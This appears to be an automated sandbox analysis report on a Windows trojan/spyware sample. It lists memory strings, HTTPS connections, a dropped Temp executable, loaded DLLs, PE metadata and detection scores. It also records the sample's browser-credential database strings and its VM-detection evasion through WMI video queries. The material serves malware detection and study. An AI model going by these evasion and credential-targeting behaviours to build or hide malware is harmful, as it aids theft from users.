Source: Gz1bBIg2Tw.exe, 00000000.00000003.3796914009.000000000A4F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3797449988.00000000030A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.6:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.6:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.6:49997 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E083A6	0_3_01E083A6
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0833A	0_3_01E0833A

Source: Gz1bBIg2Tw.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@12/4

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe

File created: C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe

Jump to behavior

Source: Gz1bBIg2Tw.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Gz1bBIg2Tw.exe, 00000000.00000003.3715946651.00000000030C7000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3784502682.00000000030BD000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3716212798.00000000030A8000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3783833464.00000000030C8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Gz1bBIg2Tw.exe	Virustotal: Detection: 35%
Source: Gz1bBIg2Tw.exe	ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe

File read: C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Gz1bBIg2Tw.exe "C:\Users\user\Desktop\Gz1bBIg2Tw.exe"
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Process created: C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe "C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe"
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Process created: C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe "C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe	Section loaded: apphelp.dll	Jump to behavior

Source: Gz1bBIg2Tw.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Gz1bBIg2Tw.exe

Static file information: File size 2798080 > 1048576

Source: Gz1bBIg2Tw.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x28b000

Source: Gz1bBIg2Tw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Gz1bBIg2Tw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Gz1bBIg2Tw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Gz1bBIg2Tw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Gz1bBIg2Tw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Gz1bBIg2Tw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Gz1bBIg2Tw.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Gz1bBIg2Tw.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Admin\Workspace\1803121139\Project\Release\Project.pdb source: Gz1bBIg2Tw.exe, 00000000.00000003.3891631057.000000000A932000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3891476524.000000000A9E9000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3888732153.000000000A4DD000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3891792264.000000000A933000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3892580681.000000000A944000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3889952865.000000000A918000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3888797443.000000000A874000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3891551885.000000000A877000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3890437736.000000000A872000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3893738428.000000000A951000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3889534529.000000000A4D5000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3893484990.000000000A87D000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3895482554.000000000AA66000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3893991883.000000000A969000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3888857370.000000000A4D4000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3894660649.000000000A870000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3890090986.000000000A91A000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3889776200.000000000A874000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3890025754.000000000A870000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3897348826.000000000AA81000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3892264011.000000000A872000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3895391658.000000000A968000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3892033573.000000000A871000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3891869657.000000000A872000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3889233330.000000000A87A000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3896426614.000000000AA8E000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3895299486.000000000A874000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3891708617.000000000A873000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 000000
Source:	Binary string: C:\Admin\Workspace\131254165\Project\Release\Project.pdb source: Gz1bBIg2Tw.exe

Source: Gz1bBIg2Tw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Gz1bBIg2Tw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Gz1bBIg2Tw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Gz1bBIg2Tw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Gz1bBIg2Tw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: Gz1bBIg2Tw.exe	Static PE information: section name: .fptable
Source: AD2QI301VGQ7BUOKWK66SF.exe.0.dr	Static PE information: section name: .fptable

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0C8D3 push ebp; ret	0_3_01E0C8D4
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0C8D3 push ebp; ret	0_3_01E0C8D4
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0C8D3 push ebp; ret	0_3_01E0C8D4
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01DA8195 push ss; retf 0001h	0_3_01DA81E2
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01DA8195 push ss; retf 0001h	0_3_01DA81E2
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01DAB140 push ds; retf	0_3_01DAB142
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01DAB140 push ds; retf	0_3_01DAB142
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01DAD820 push eax; iretd	0_3_01DAD821
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01DAD820 push eax; iretd	0_3_01DAD821
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0C8D3 push ebp; ret	0_3_01E0C8D4
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0C8D3 push ebp; ret	0_3_01E0C8D4
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0C8D3 push ebp; ret	0_3_01E0C8D4
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0C8D3 push ebp; ret	0_3_01E0C8D4
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0C8D3 push ebp; ret	0_3_01E0C8D4
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0C8D3 push ebp; ret	0_3_01E0C8D4
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0C8D3 push ebp; ret	0_3_01E0C8D4
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0C8D3 push ebp; ret	0_3_01E0C8D4
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0C8D3 push ebp; ret	0_3_01E0C8D4
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0C8D3 push ebp; ret	0_3_01E0C8D4
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0C8D3 push ebp; ret	0_3_01E0C8D4
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01E0C8D3 push ebp; ret	0_3_01E0C8D4
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01DA8195 push ss; retf 0001h	0_3_01DA81E2
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01DA8195 push ss; retf 0001h	0_3_01DA81E2
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01DAB140 push ds; retf	0_3_01DAB142
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01DAB140 push ds; retf	0_3_01DAB142
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01DAD820 push eax; iretd	0_3_01DAD821
Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe	Code function: 0_3_01DAD820 push eax; iretd	0_3_01DAD821

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe

File created: C:\Users\user\AppData\Local\Temp\AD2QI301VGQ7BUOKWK66SF.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Gz1bBIg2Tw.exe
